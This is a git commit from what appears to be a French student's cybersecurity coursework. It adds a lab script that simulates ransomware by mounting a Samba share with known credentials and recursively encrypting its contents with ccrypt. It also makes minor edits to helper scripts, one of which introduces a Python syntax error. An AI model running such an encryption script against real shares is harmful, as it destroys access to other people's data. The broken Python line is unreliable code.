Ajout des fichiers de la séance de Cyber sur une simulation de ransomware, sur partage Samba, et modification de scripts Python.
This commit is contained in:
parent
e113c968e8
commit
d0a6791cad
@ -24,7 +24,7 @@ else
|
|||||||
echo "Commit en cours..."
|
echo "Commit en cours..."
|
||||||
sleep 1
|
sleep 1
|
||||||
git commit
|
git commit
|
||||||
git tag -l "v.0*" --sort="-v:refname"
|
git tag -l "v.*" --sort="-v:refname"
|
||||||
echo "Entrez la version du tag: (Le plus récent est en haut)"
|
echo "Entrez la version du tag: (Le plus récent est en haut)"
|
||||||
read tag
|
read tag
|
||||||
git tag $tag
|
git tag $tag
|
||||||
|
2
bts_annee_2/cyber2/ransomware-simulation/README.md
Normal file
2
bts_annee_2/cyber2/ransomware-simulation/README.md
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus.
|
||||||
|
Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires.
|
34
bts_annee_2/cyber2/ransomware-simulation/smbcc.sh
Normal file
34
bts_annee_2/cyber2/ransomware-simulation/smbcc.sh
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# déclaration des variables
|
||||||
|
chemin=$1
|
||||||
|
cred=$2
|
||||||
|
action=$3
|
||||||
|
ficcle=$4
|
||||||
|
|
||||||
|
# récup du mot de passe et nom d'utilisateur
|
||||||
|
user=$(echo $cred| cut -d "/" -f1)
|
||||||
|
pass=$(echo $cred| cut -d "/" -f2)
|
||||||
|
|
||||||
|
# créa du répertoire et on monte dessus
|
||||||
|
[[ -e /mnt/samba ]] || mkdir /mnt/samba
|
||||||
|
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba
|
||||||
|
|
||||||
|
# vérification d'erreurs
|
||||||
|
if [[ $? != 0 ]] ; then
|
||||||
|
rmdir /mnt/samba
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# la commande ccrypt
|
||||||
|
ccrypt "$action" -r -k $ficcle /mnt/samba
|
||||||
|
|
||||||
|
# vérification d'erreurs
|
||||||
|
if [[ $? != 0 ]] ; then
|
||||||
|
echo "ccrypt échoué, revérifie le script."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# nettoyage et sortie, code 0
|
||||||
|
umount /mnt/samba
|
||||||
|
rmdir /mnt/samba
|
||||||
|
exit 0
|
@ -21,6 +21,6 @@ def main(filename):
|
|||||||
print(f"Erreur lors de la lecture du fichier {filename}: {e}")
|
print(f"Erreur lors de la lecture du fichier {filename}: {e}")
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv) != 2:
|
if len(sys.argv) != 2:
|
||||||
print("Usage: python creatusr.py <nom_du_fichier>")
|
print("Usage: python3 createusers.py <nom_du_fichier>")
|
||||||
else:
|
else:
|
||||||
main(sys.argv[1])
|
main(sys.argv[1])
|
||||||
|
@ -14,5 +14,5 @@ for mot in mots:
|
|||||||
# Afficher les mots et leurs occurrences
|
# Afficher les mots et leurs occurrences
|
||||||
print("Occurrences des mots :")
|
print("Occurrences des mots :")
|
||||||
for mot, count in occurrences.items():
|
for mot, count in occurrences.items():
|
||||||
print(f"{mot} : {count}"
|
print(f"{mot} : {count})"
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user